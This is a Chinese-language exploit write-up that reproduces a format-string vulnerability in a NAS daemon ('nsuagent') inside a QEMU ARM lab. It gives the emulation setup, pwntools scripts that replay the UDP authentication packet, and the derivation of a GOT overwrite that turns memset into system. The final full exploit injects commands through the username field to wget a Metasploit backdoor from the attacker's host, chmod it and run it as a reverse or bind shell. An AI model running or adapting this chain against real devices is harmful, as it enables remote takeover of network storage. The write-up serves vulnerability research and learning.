0、前言
本篇文章我们会基于前面模拟的环境来复现该漏洞。所需要的前置知识:
1、启动模拟环境
当你关闭qemu后若想要重新启动模拟环境就需要依次执行下面的所有命令:
# Ubuntu虚拟机--------------------------------------------------------------------------------
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.2/24
$ sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -smp 2,cores=2 \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
# qemu----------------------------------------------------------------------------------------
$ ifconfig eth0 down # 重启qemu之后网卡名称会重新变回eth0
$ ip link set eth0 name egiga0
$ ifconfig egiga0 up
$ ifconfig egiga0 192.168.5.1/24
$ mount -o bind /dev ./rootfs/dev && mount -t proc /proc ./rootfs/proc
$ mount -vt sysfs sysfs ./rootfs/sys
$ chroot ./rootfs sh
$ nsuagent
# 新建终端--------------------------------------------------------------------------------------
$ scp ./gdbserver-armel-static-8.0.1 root@192.168.5.1:/root/rootfs/
$ ssh root@192.168.5.1
$ chroot ./rootfs sh
$ chmod +x ./gdbserver-armel-static-8.0.1
2、开始pwn
①、收集信息
由于Crossover在运行Windows软件时开销过大,所以本篇文章中我们大多数时候使用pwndbg取代IDA的动态调试功能、使用python的pwntools库实现UDP流量包的重放。
注:wireshark软件本身不支持重放。
使用wireshark打开上一节中抓取的流量包,查看发送含有我们账号密码的认证数据包:
将上面的所有的16进制复制下来,使用pwntools进行重放UDP,所以我们有如下代码:
from pwn import *
from threading import Thread
context.log_level="debug"
def accept():
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
l.wait_for_connection()
print(l.recv(100)) # 接收100字节应该够了
l.close()
thread = Thread(target=accept)
thread.start()
p=remote('192.168.5.1', 50127, typ='udp')
data=bytes.fromhex(
"00420241001c42af5b3a004f525400123456555345524e414d453a6379626572616e67656c0950415353574f52443a6379626572616e67656c0953484152455f5245513a30094654505f5245513a30")
p.send(data)
p.close()
嗯,看起来挺成功。现在就按照常见的pwn流程来吧,首先检查可执行文件的保护:
- No RELRO:GOT、PLT完全没有任何保护【详情可参照本文章开头的链接】。
- No canary found:没有canary保护。
- NX enabled:栈不可执行。
- No PIE:虽然程序没有开启PIE保护,但这并不意味着加载的动态链接库和其栈地址一定不变,因为我们并不知道实机上ASLR的保护等级(如下图所示),这里需要按照可变地址来考虑...
②、寻找调用链
对存在漏洞的sub_14C60函数交叉引用发现有许多函数调用了它:
我们并不清楚调用链,但是可以通过gdb获取:
gdb-client连接上后会自动断在recvfrom函数:
对地址0x14C60下断点,run后再次执行我们的exp1.py:
不知道是不是由于gdbserver的原因,很不幸的是我们无法通过bt或frame知道函数的调用过程,提示错误corrupt stack;但仍旧可以通过寄存器R14(LR)知道调用该函数的父函数:
因此调用链为:main_function(sub_123EC) -> sub_1AEE4 -> sub_14C60(vuln_fucntion)。大致的看一下发现sub_1AEE4有多达5处调用了sub_14C60:
void __fastcall __noreturn sub_1AEE4(int a1)
{
// ...
v31 = &unk_34D48;
sub_159F8(a1, 0);
sub_14C60(a1, "[%s][%d] Start with m_bIsWirelessEnabled = %d\n", "Run", 1320, *(unsigned __int8 *)(a1 + 32));
sub_15474(a1);
std::operator+<char>((int)v32, "|dstart|NDU Agent started: ");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
addr_len = 16;
recvfrom(*(_DWORD *)(a1 + 300), buf, 0x10D8u, 0, &addr, &addr_len);
v2 = sub_1BC48(buf, v40);
v3 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
sub_14C60(a1, "[%s][%d] GOT YOU!!!!!!, pcode = %d, ip address: %s\n", "Run", 1342, v2, v3);// sub_1AEE4 -> sub_14C60
// ...
}
v4 = v2 == 2;
if ( v2 != 2 )
v4 = v2 == 4;
if ( !v4 )
break;
if ( dword_34E9C )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "response packet. escape");
std::endl<char,std::char_traits<char>>(v5);
}
}
// ...
}
// ...
}
// ...
}
// ...
sub_14C60(
a1,
"AuthMac: %X:%X:%X:%X:%X:%X\n",
(unsigned __int8)v41,
BYTE1(v41),
BYTE2(v41),
HIBYTE(v41),
(unsigned __int8)v42,
HIBYTE(v42));
sub_14C60(a1, "LocalMac1: %X:%X:%X:%X:%X:%X\n", v16, v17, v18, v19, v20, v21);
if ( sub_157CC(a1, &v41) )
break;
LABEL_51:
std::string::~string((std::string *)&v33);
sub_1F224(v46);
}
sub_1F4C4(&v34, v46);
sub_1F4DC(&v35, v46);
sub_14C60(a1, "username: %s, password: %s\n", v34, v35);
// ...
}
根据上面的代码框,我们知道程序在启动完毕之后会阻塞在recvfrom函数直到用户向程序发送了数据,在接收到输入之后会根据相应的判断语句进行处理。根据程序的行为知道处理完成之后它并不会退出,而是阻塞在recvfrom继续等待接收下一次用户的输入。sub_14C60在解析用户可控的username与password前的debug数据如下,这两者均存在于堆上:
③、思路整理
将上面的exp稍微的进行修改以方便更换我们的payload:
from pwn import *
from threading import Thread
context.log_level="debug"
def accept():
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
l.wait_for_connection()
print(l.recv(100)) # 接收100字节应该够了
l.close()
thread = Thread(target=accept)
thread.start()
p=remote('192.168.5.1', 50127, typ='udp')
payload_username = b"cyberangel"
payload_password = b"bbbb"+b".%p"*50 # payload
encode_username = payload_username.hex()
encode_password = payload_password.hex()
data=bytes.fromhex(
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode_username}0950415353574f52443a{encode_password}0953484152455f5245513a30094654505f5245513a30")
p.send(data)
p.close()
回过头来仔细研究sub_14C60,发现它会将执行日志输出到文件/tmp/nsu_process中,并且该日志永远不会删除:
执行一次exp2.py后可以有如下日志,
但是程序对输入的payload(password)有32字节长度限制,导致泄露的地址并不完整...
仔细想想,就算泄露出来的地址是完整的又怎样?因为我们并不能在程序回显时拿到任何有效信息:
这就意味着所有leak地址的思路都已经被堵死,并且程序还开启了NX保护,无法在stack上构造自己的ROP链;那就只能利用程序里面现有的已知数据构造利用链了。从程序保护方面来讲,nsuagent最大的弱点在没有开启RELRO保护,所以获取我们可以从这里下手:
利用方式有两种:
- 是利用ret2dlresolve去修改处于可写状态的.dynamic节的DT_STRTAB的d_ptr指针,这就要求我们需要在栈上伪造一个ELF String Table(.dynstr section),并篡改相应的结构指针,这样在动态链接的时候就会将该符号解析为system函数。
- 因为.got.plt(俗称got表)可写,那我们就直接篡改got表为某个函数的地址并正常调用被篡改的函数即可。
emmm,相比较而言还是第二种方法比较简单,那就用它吧。具体实施之前我们还是来看一个简单的例子:
#include<stdio.h>
void backdoor(char* str){
system(str);
}
int main(){
puts("/bin/sh");
return 0;
}
/*
[*] '/home/cyberangel/Desktop/test1'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
*/
启动gdb断到main函数,将puts的got表手动改为system的plt:set *0x600958=0x400410
continue后会执行system("/bin/sh"):
这样做似乎无法维持一个稳定的shell,执行一条命令就退出了,不知道是不是我的问题;当然了,就算存在这个问题但对于nsuagent并不影响,因为只要程序不崩溃就会一直可以接收用户的输入,从而实现多次命令执行的效果。还要说明一点的是注意arm与x86在.got.plt的区别,nsuagen的.got就是x86的.got.plt:
不知道是不是因为libc版本过低的问题:
④、构造利用链
好了,到现在我们整理一下思路,因为got表是可写的,所以我们可以劫持某个函数的got表为system以达到命令执行的效果(Linux延迟绑定技术)。那我们究竟篡改哪一个函数呢?注意到漏洞点有一个memset:
根据栈帧平衡原理再结合sub_1AEE4的汇编代码我们可以知道每次调用sub_14C60时memset初始化s变量的栈空间完全相同(空间的起始地址与结束地址相同),可以下个断点来看看(b *0x14C7C):
虽然将memset篡改为system会导致无法清空栈空间,但是好在每一次调用函数时影响的都是同一片内存区域,并不影响程序的正常运行;而且还有一个好处就是我们可以多次的主动调用memset函数。
system调用失败后并不会让程序崩溃
首先测量格式化字符串的偏移,在gdb调试时断点下在sub_14C60调用fprintf之前(b *0x14CE0):
再次调试并发送前面的exp2.py:
如上图所示,R1存放着被截断之后的格式化字符串,但是我们可以仍旧在栈上找到残留的完整字符串:
我们截取该段字符串从USERNAME开始使用,其起始地址为0x7e8d49b2:
接下来强制将R1寄存器改为该地址:set $r1=0x7e8d49b2,运行后可以得到如下结果:
整理可以得到偏移为39:
然后开始使用格式化字符串$n更改memset的got表,首先是:payload_password = b"bbbb"+b"%73904c%39$n"
发现程序会崩溃:
这也很正常,payload中%73904c%39$n本身的含义就是“打印73904个字节,然后将打印的字节数目作为值写入距离格式化字符串偏移为39的栈上指针指向的区域。从上图来看向非法地址bbbb写入的不是system的plt而是_cxa_pure_virtual:
0x120D4 - 0x120b0 == 0x24(36)
73904 - 36 == 73868
稍微修改一下payload:payload_password = p32(memset_got)+b"%73868c%39$n"【memset_got = 0x34BE4】,要将地址减去36的原因在于进入漏洞函数时会进行如下拼接:
也就是在执行fprintf时其参数格式化字符串为:username: cyberangel, password: addr%73868c%39$n,从该字符串开头到格式化字符串的位置一共36字节,fprintf会直接将这36字节的字符直接输出,再结合上面的内容故需要减36:
执行后发现我们输入的payload会发生"\x00"截断:
我们后面输入的格式化字符串没有了!gdb后得知程序在解析密码时发生了截断,如下图所示,其中v46保存了我们所有发送数据的buffer:
经过sub_1F4DC的std::string::string后:
void __fastcall sub_1F4DC(std::string *a1, int a2)
{
std::string::string(a1, (const std::string *)(a2 + 24));
}
真好,被截的什么都不剩...稍微调整一下p32(memset_got)的位置,有:payload_password = b'bbbb'+b"%73868c%43$n"+p32(memset_got)
嘿嘿,这下应该没问题了吧?
???,哪儿来的0x0a('\n')?我找了半天才发现是格式化是自带的...
绝,那就不能使用经过vsnprintf拼接后的字符串了。但是我们注意到,recvfrom接收用户输入之后会将数据保留到栈上,它是未经修改,原汁原味的数据,如下图所示(b *0x14CE0):
重复上面寻找偏移的步骤,有如下exp3.py:
from pwn import *
from threading import Thread
context.log_level="debug"
context.arch="arm"
context.endian="little"
def accept():
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
l.wait_for_connection()
print(l.recv(100)) # 接收100字节应该够了
l.close()
thread = Thread(target=accept)
thread.start()
memset_got=0x34BE4
p=remote('192.168.5.1', 50127, typ='udp')
payload_username = b"cyberangel"
payload_password = b'bbbb'+b"%73868c%347$n"+p32(memset_got) # b'bbbb'+b"%73868c%43$n"+p32(memset_got)
encode_username = payload_username.hex()
encode_password = payload_password.hex()
data=bytes.fromhex(
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode_username}0950415353574f52443a{encode_password}0953484152455f5245513a30094654505f5245513a30")
p.send(data)
p.close()
可以看到成功命令执行。现在memset已经被成功改为了system了,最后完善一下就可以了。因为该NAS有wget,所以我们先修复一下软链接:
/ # rm ./usr/sbin/wget
/ # ln -s /bin/busybox /usr/sbin/wget
/ # wget
BusyBox v1.19.4 (2021-04-01 09:56:40 CST) multi-call binary.
Usage: wget [-c|--continue] [-s|--spider] [-q|--quiet] [-O|--output-document FILE]
[--header 'header: value'] [-Y|--proxy on/off] [-P DIR]
[--no-check-certificate] [-U|--user-agent AGENT] [-T SEC] URL...
/ #
使用kali生成msf反向shell,注意这里的LHOST为虚拟机的IP而不是qemu的IP:
使用python在msf目录下启动http服务:
完整exp如下:
from pwn import *
from threading import Thread
context.log_level="debug"
context.arch="arm"
context.endian="little"
def accept():
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
l.wait_for_connection()
print(l.recv(100)) # 接收100字节应该够了
l.close()
thread = Thread(target=accept)
thread.start()
memset_got=0x34BE4
p=remote('192.168.5.1', 50127, typ='udp')
payload1_username = b"cyberangel"
payload1_password = b'bbbb'+b"%73868c%347$n"+p32(memset_got)
encode1_username = payload1_username.hex()
encode1_password = payload1_password.hex()
data1=bytes.fromhex(
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode1_username}0950415353574f52443a{encode1_password}0953484152455f5245513a30094654505f5245513a30")
p.send(data1)
payload2_username = b";wget http://192.168.5.2:8080/msf-arm -O /backdoor;" # 下载backdoor
payload2_password = b"cyberangel"
encode2_username = payload2_username.hex()
encode2_password = payload2_password.hex()
data2=bytes.fromhex(
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode2_username}0950415353574f52443a{encode2_password}0953484152455f5245513a30094654505f5245513a30")
p.send(data2)
payload3_username = b";chmod +x /backdoor;" # 授予可执行权限
payload3_password = b"cyberangel"
encode3_username = payload3_username.hex()
encode3_password = payload3_password.hex()
data3=bytes.fromhex(
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode3_username}0950415353574f52443a{encode3_password}0953484152455f5245513a30094654505f5245513a30")
p.send(data3)
payload4_username = b";/backdoor;" # 执行backdoor
payload4_password = b"cyberangel"
encode4_username = payload4_username.hex()
encode4_password = payload4_password.hex()
data4=bytes.fromhex(
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode4_username}0950415353574f52443a{encode4_password}0953484152455f5245513a30094654505f5245513a30")
p.send(data4)
p.close()
先在虚拟机上监听:
正向shell的生成步骤如下(默认向外映射端口为4444),exp稍微变动一下msf文件名称就行:
from pwn import *
from threading import Thread
context.log_level="debug"
context.arch="arm"
context.endian="little"
# (和exp4.py一样)...
payload2_username = b";wget http://192.168.5.2:8080/back -O /back;"
# 略...
p.close()
注意:关于backdoor文件的命名注意简短,否则可能会出现wget文件之后落地文件的命名不正确,比如msf-arm-positive落地后文件名称变为了"b,",payload为:payload2_username = b";wget http://192.168.5.2:8080/msf-arm-positive -O /back;"